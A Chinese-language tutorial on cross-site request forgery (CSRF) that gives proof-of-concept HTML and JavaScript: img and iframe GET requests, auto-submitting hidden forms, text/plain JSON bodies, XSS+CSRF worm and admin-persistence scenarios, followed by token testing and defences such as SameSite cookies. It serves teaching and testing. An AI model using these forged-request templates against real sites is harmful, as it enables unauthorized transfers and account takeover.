跨站请求伪造Cross-Site Request Forgery(CSRF),也被称为one click attack/session riding
"借刀杀人"
CSRF通过构造get/post等请求,设法使已登录用户victim不知情的情况下,设法让victim携带自身Cookie发出"非其主观意愿的"HTTP请求
- CSRF局限性:如果只有单一的CSRF漏洞,攻击者无法得到该HTTP请求的内容(Cookie可用但无法查看),也无法得到任何回显(HTTP响应等)
- CSRF扩展性:可联合其他漏洞(如XSS)进行攻击效果最大化
- CSRF类型 按method分
- GET - 利用方式 使victim点击构造的url 发出GET请求
http://get.csrfvul.com/payto?name=hacker&moneynumb=100
- POST - 利用方式 尝试转变为GET (可尝试将post请求体改成get形式放至url参数中 如果可以正常响应 则可以使用GET请求进行csrf攻击)
- GET - 利用方式 使victim点击构造的url 发出GET请求
- 场景:
- 1.利用自身域名下存在的XSS漏洞 绕过CSRF防御机制 - 很多anti-CSRF机制原理是判断HTTP请求中的CSRFtoken的值,当只存在XSS漏洞时,可使用JavaScript找到csrf-token参数值(需要看csrf-token的具体位置),并构造出携带csrf-toekn的HTTP请求 可通过后端对csrf-token的验证 实现CSRF攻击
- 2.利用自身/兄弟/父子域名下存在的XSS漏洞 绕过CSRF防御机制 - 有的anti-CSRF机制是后端通过判断Referer的值,如果Referer的值 是自身/兄弟/父子域名下的url 就是"合法"请求
csrf-token位置 | 获取方法 | 描述 |
---|---|---|
html代码form表单 | 略 | |
cookie | 略 | 注意如果是HTTP-only的cookie就难以获取 |
- 场景 -
vul.com
存在self-XSS漏洞和CSRF漏洞,如果直接利用self-XSS漏洞则victim只能是自己,如何攻击自己以外的目标? - 目标 - 通过利用CSRF漏洞,使XSSpayload能够攻击自己以外的目标
- 过程
- 构造:攻击者利用CSRF漏洞构造出HTTP请求发向
vul.com
其中HTTP Request Body中包含了"能够触发self-XSS漏洞的payload" - 触发:所以当victim(点击链接等方式)触发CSRF漏洞时,会发出HTTP请求到
vul.com
,实现victim在vul.com
域下被XSS攻击
- 构造:攻击者利用CSRF漏洞构造出HTTP请求发向
- 场景
- 目标域
csrfvul.com
存在CSRF漏洞 - 攻击者可控的域
www.3.com
某web页面的前端代码可向目标域csrfvul.com
发出请求 如果该页面被victim访问则触发CSRF
- 目标域
- 利用过程
- 1.攻击者通过多种办法(如JavaScript) 在
http://www.3.com/demo
中注入代码 - 2.victim访问
http://www.3.com/demo
实现GET-CSRF
- 1.攻击者通过多种办法(如JavaScript) 在
方法1 利用资源类的html标签 实现GET-CSRF
如img
标签
<img src="http://get.csrfvul.com/payto?name=hacker&moneynumb=100">
victim使用Chrome浏览器,访问http://www.3.com/demo
则会发出GET请求到get.csrfvul.com
get.csrfvul.com
收到了这个GET请求:
GET /payto?name=hacker&moneynumb=100 HTTP/1.1
Host: get.csrfvul.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://www.3.com/demo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
很容易看到,该请求中的Referer头说明了该get请求来自于第三方域(如果后端获取Referer的值 且是白名单方法验证其值 则CSRF利用失败)
方法2 利用iframe
标签实现GET-CSRF
<iframe src="http://get.csrfvul.com/payto?name=hacker&moneynumb=100">
victim使用Chrome浏览器,访问http://www.3.com/demo
则会发出GET请求到get.csrfvul.com
get.csrfvul.com
收到了这个GET请求:
GET /payto?name=hacker&moneynumb=100 HTTP/1.1
Host: get.csrfvul.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.3.com/demo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
很容易看到,该请求中的Referer头说明了该get请求来自于第三方域(如果后端获取Referer的值 且是白名单方法验证其值 则CSRF利用失败)
方法3 (不常用也不好用) 使用XMLHttpRequest
实现GET-CSRF
- 【前提条件】很高: 使用JavaScript脚本发出request必须遵循SOP和CORS(跨域request遵循CORS策略).
- 使用JavaScript脚本发出request(如
XMLHttpRequest
) 仅适用于 "同域" 下发出request实现CSRF, 或符合CORS时可以发出跨域request实现CSRF. - 因为客户端脚本发出跨域request必须遵循CORS策略. 即目标站点
csrfvul.com
的HTTP Response Header中的Access-Control-Allow-Origin:
中明确允许了来自3.com
的跨域请求,才能跨域成功.
- 使用JavaScript脚本发出request(如
假如同域页面csrfvul.com/js
下有以下代码:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.get.csrfvul.com/payto?name=hacker&moneynumb=100");
xhr.send();
</script>
如果victim使用Firefox浏览器,访问csrfvul.com/js
,则会发出GET请求到get.csrfvul.com
get.csrfvul.com
收到了这个GET请求:
GET /payto?name=hacker&moneynumb=100 HTTP/1.1
Host: www.get.csrfvul.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: https://www.3.com
Connection: close
Referer: http://www.3.com/demo
如果victim使用Chrome则发出的请求为:
GET /payto?name=hacker&moneynumb=100 HTTP/1.1
Host: www.get.csrfvul.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Sec-Fetch-Dest: empty
Accept: */*
Origin: https://www.3.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Referer: http://www.3.com/demo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
可以看到来自第三方域名的、利用XMLHttpRequest
发起的请求带有HTTP Request Header Origin: https://www.3.com
所以,这种利用XMLHttpRequest
的CSRF方法, 通常仅适用于【同域】下利用CSRF.
方法1 利用客户端脚本 如XMLHttpRequest
发出POST跨域请求 完成CSRF
<script>
var xh=new XMLHttpRequest(); // code for IE7+, Firefox, Chrome, Opera, Safari
xh.open("POST","https://post.x-www-form-urlencoded.csrfvul.com/search");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xh.send("username=abcd&status=on");
</script>
方法2 利用form
标签 发出POST跨域请求 完成CSRF
-
场景
- 目标域
csrfvul.com
存在CSRF漏洞 - 攻击者可控的域
www.3.com
某web页面的前端代码可向目标域csrfvul.com
发出请求 如果该页面被victim访问则触发CSRF
- 目标域
-
利用过程
- 1.攻击者通过通过
XSS/JavaScript
,HTML注入
等方法,在http://www.3.com/demo
中注入代码 - 2.victim访问
http://www.3.com/demo
实现POST-CSRF
- 1.攻击者通过通过
-
构造CSRF - 发出POST请求
enctype
属性的作用是: 指定该form表单提交时发出的http请求中的Content-Type
值.form
标签支持的enctype
属性的值 只有以下3种:- 1.
<form enctype="application/x-www-form-urlencoded" ...
默认情况 - 2.
<form enctype="text/plain" ...
- 3.
<form enctype="multipart/form-data" ...
- 1.
情况1. URL编码application/x-www-form-urlencoded
无感知触发
<!--
如果没有设置form标签的`enctype`属性的值, 那么所有form标签发起的http req中的`Content-Type`值默认就是这个
Content-Type: application/x-www-form-urlencoded
-->
<iframe style="display:none" name="csrf-frame1" src=https://payload.com></iframe>
<html>
<body>
<form method='POST' action='https://post.x-www-form-urlencoded.csrfvul.com/search' target="csrf-frame1" id="csrf-form">
<input type="hidden" name="ip" value="1.1.1.1" />
<input type="hidden" name="offset" value="0" />
<input type="hidden" name="limit" value="20" />
<!-- <input type="submit" value="send Request" />--> <!--建议去掉这一行 即去掉可见的按钮 通过JavaScript实现自动提交form 这样CSRF攻击过程实现了"不可见" 并且POST请求正常发出 -->
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
</html>
victim访问 https://3.com/demo
则会发出POST请求到https://post.x-www-form-urlencoded.csrfvul.com
https://post.x-www-form-urlencoded.csrfvul.com
的web后端 收到了这个POST请求:
POST /search HTTP/1.1
Host: post.x-www-form-urlencoded.csrfvul.com
Connection: keep-alive
Content-Length: 28
Cache-Control: max-age=0
Origin: https://3.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: https://3.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
ip=1.1.1.1&offset=0&limit=20
很容易看到,该请求中的Referer头说明了该get请求来自于第三方域(如果后端获取Referer的值 且是白名单方法验证其值 则CSRF利用失败)
Origin: https://3.com
Referer: https://3.com/
情况2. text/plain
PoC
<!--
满足以下3个前提才能用:
(1)HTTP POST req Body是JSON数据 或明文.
(2)把HTTP请求中的Content-Type改为 Content-Type: text/plain 后, 发送该请求, 能得到正常HTTP Resp
(3)HTTP POST req Body中可以有等号`=`
因为这种方法本身 导致req Body里必然会有一个等号 `CustomName=CustomValue` 只有当HTTP POST req Body中可以有等号`=`时 才能完美构造出POST的Body数据. 否则需要想其他办法处理掉`=`
-->
<form enctype="text/plain" method="POST" action="https://post.json.csrfvul.com/api">
<input name='{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0' value='"}]}' type='hidden'>
<input type="submit" value="send req"></form>
victim访问 https://3.com/demo
则会发出POST请求到https://post.json.csrfvul.com
https://post.json.csrfvul.com
的web后端 收到了这个POST请求:
POST /api HTTP/1.1
Host: post.json.csrfvul.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 65
Origin: https://www.3.com
Connection: close
Referer: https://3.com/demo
Upgrade-Insecure-Requests: 1
{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0="}]}
很容易看到,该请求中的Referer头说明了该get请求来自于第三方域(如果后端获取Referer的值 且是白名单方法验证其值 则CSRF利用失败)
Origin: https://3.com
Referer: https://3.com/demo
情况3. multipart/form-data
PoC
<!--
某些偏老的web应用就这样传参
-->
<form enctype="multipart/form-data" method="POST" action="http://test.com">
<input type="text" name="name1" value="11111">
<input type="text" name="name2" value="22222">
<input type="submit" value="https://post.form-data.csrfvul.com">
</form>
victim访问 https://3.com/demo
则会发出POST请求到https://post.form-data.csrfvul.com
https://post.form-data.csrfvul.com
的web后端 收到了这个POST请求:
POST / HTTP/1.1
Host: post.form-data.csrfvul.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------462940910314621289735265309
Content-Length: 286
Origin: https://www.3.com
Connection: close
Referer: https://3.com/demo
Upgrade-Insecure-Requests: 1
-----------------------------462940910314621289735265309
Content-Disposition: form-data; name="name1"
11111
-----------------------------462940910314621289735265309
Content-Disposition: form-data; name="name2"
22222
-----------------------------462940910314621289735265309--
很容易看到,该请求中的Referer头说明了该get请求来自于第三方域(如果后端获取Referer的值 且是白名单方法验证其值 则CSRF利用失败)
Origin: https://3.com
Referer: https://3.com/demo
- CSRF攻击场景 利用victim的身份进行操作
- 修改管理员密码 - 使管理员点击构造的链接 即可修改其密码.
- 新建管理员账号 - 使管理员点击构造的链接 即可新增管理员.
- 漏洞联合(XSS+CSRF)
- 【社交站点蠕虫】 - 如果"向好友发送消息"的HTTP请求中没有设置CSRF-token请求头 则可结合XSS可构造出XSS+CSRF蠕虫 影响极大.
- 【拒绝服务】 - 如果通过前台构造xssPayload提交 成功打到了管理后台 且管理员注销动作无CSRF防御机制 则可构造payload使管理员一登录就注销.
- 【web后台权限维持】
- 某案例 攻击者A通过前台构造xssPayload提交 管理员B登录管理后台查看数据 触发了xssPayload (漏洞1利用成功 但这是短暂的权限 cookie过期后将无法登录后台)
- 发现在后台有一个配置“网站名称”的选项 存在存储型xss漏洞(但是 漏洞2 仅前台普通用户会触发 管理后台并不会触发)
- 为了实现web后台的权限维持 构造CSRF请求 并利用漏洞2 使每个普通用户都提交 漏洞1 的xssPayload (也可以设置一定的随机性 部分用户提交也可以)
- 管理员日常登录后台查看数据 就会像他第一次触发 漏洞1 那样, 触发.
web场景测试技巧
- 相同请求重放 - 即可判断token是否满足 正确设计:
token动态生成 token会被后端验证且只能被验证一次 经过后端验证后的token立即失效
- 修改token值 - 如修改Request Body并发送请求,查看Response Body是否和正常请求的Response Body相同
- 删除token值 - 如修改Request Body为
para1=aaa&token=
并发送请求,查看Response Body是否和正常请求的Response Body相同 - 完全删除token参数 - 如修改Request Body为
para1=aaa
并发送请求,查看Response Body是否和正常请求的Response Body相同 - HTTP方法由POST转换为GET - 可判断后端是否严格要求了Request
method
,如果可以转换为GET method最好 方便构造PoC代码 - ...
- web框架 - 启动框架中成熟的CSRF防御功能
- 自定义HTTP请求头(Custom Request Headers)
- 如使用
X-CSRF-token:xxxx
标明CSRF_TOKEN的值(即使CSRF利用成功发出了携带Cookie的HTTP请求 但后端判断X-CSRF-token
不存在则拒绝请求)
- 如使用
- One-time Token
- 如每次提交表单都包含字段
Token=xxxx
且每次值不同 后端可校验是否正确
- 如每次提交表单都包含字段
- 自定义HTTP请求头(Custom Request Headers)
Set-Cookie
使用SameSite
属性- 后端Response Header
Set-Cookie
中设置SameSite
属性(由Google引入浏览器 用于缓解CSRF攻击),SameSite
属性有3种值:Strict
严格- 例如 域b.com的Response Header有
Set-Cookie: admin_cookie_strict=xxx; SameSite=Strict
,浏览器中会保存这一Cookie字段admin_cookie_strict=xxx
,但由于SameSite=Strict
为严格,所以浏览器对(非b.com域下发起的)访问b.com的任何跨域请求都不允许携带这一Cookie字段admin_cookie=xxx
,所以可以防御CSRF攻击。比如从域a.com下构造并发出跨域请求访问b.com(尝试CSRF),绝对不会携带关键的cookie,从而b.com后端鉴权失败,CSRF攻击失败
- 例如 域b.com的Response Header有
Lax
宽松 - 没有SameSite
属性的cookie被浏览器默认为SameSite=Lax
- 例如 域b.com的Response Header有
Set-Cookie: admin_cookie_lax=xxx; SameSite=Lax
,浏览器中会保存这一Cookie字段admin_cookie_lax=xxx
,但由于SameSite=Strict
为宽松,所以浏览器对(非b.com域下发起的)访问b.com的多种跨域请求都不允许携带这一Cookie字段,只有以下3种方式(任何一种),才能够携带b.com的cookieadmin_cookie_lax=xxx
- 非同域下的a标签
<a href="http://b.com"></a>
- 非同域下的GET表单
<form method="GET" action="http://b.com/formdemo">
- 非同域下的link标签
<link rel="prerender" href="http://b.com"/>
- 非同域下的a标签
- 例如 域b.com的Response Header有
None
无SameSite=None
必须同时指定Secure
,例如Set-Cookie: session_none=abc123; SameSite=None; Secure
- 后端Response Header
- 二次验证 - 安全但影响用户体验(适用于仅对敏感功能处进行防御)
- CAPTCHA 增加验证码机制
- 再次输入密码
- 手机验证码
- (不推荐)通过
Referer/Origin
校验来源域名- 缺陷1.只能防御从"不被信任"的域发起的伪造的http请求(如果 父、子、兄弟域名 或 CORS中被信任的域名 有XSS漏洞 配合构造一个伪造请求 此时referer和Origin的值都是被信任的域 此时“校验来源域名”无法防御)
- 缺陷2.正常业务如果有302跳转 不携带Origin
参考OWASP Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md